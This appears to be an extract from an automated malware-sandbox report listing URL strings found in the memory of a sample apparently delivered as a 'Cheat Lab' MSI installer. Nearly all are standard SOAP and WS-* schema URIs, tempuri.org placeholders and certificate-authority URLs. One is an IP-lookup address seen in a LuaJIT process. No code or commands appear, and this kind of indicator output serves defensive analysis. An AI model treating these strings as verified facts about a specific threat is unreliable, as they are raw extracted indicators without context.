Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB34A5000.00000004.00000020.00020000.00000000.sdmp, LuaJIT.exe, 00000009.00000002.1936998576.0000022EB344D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=query
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rmX
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: http://t1.symcb.com/ThawtePCA.crl0
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: http://t2.symcb.com0
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/D
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1ResponseD
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: connect.exe, 00000016.00000002.2133528800.0000000002C5D000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: connect.exe, 00000016.00000002.2133528800.0000000002C75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23ResponseD
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2ResponseD
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: connect.exe, 00000016.00000002.2133528800.0000000002C75000.00000004.00000800.00020000.00000000.sdmp, connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: connect.exe, 00000016.00000002.2133528800.0000000002C75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3ResponseD
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: connect.exe, 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: http://tl.symcb.com/tl.crl0
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: http://tl.symcb.com/tl.crt0
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: http://tl.symcd.com0&
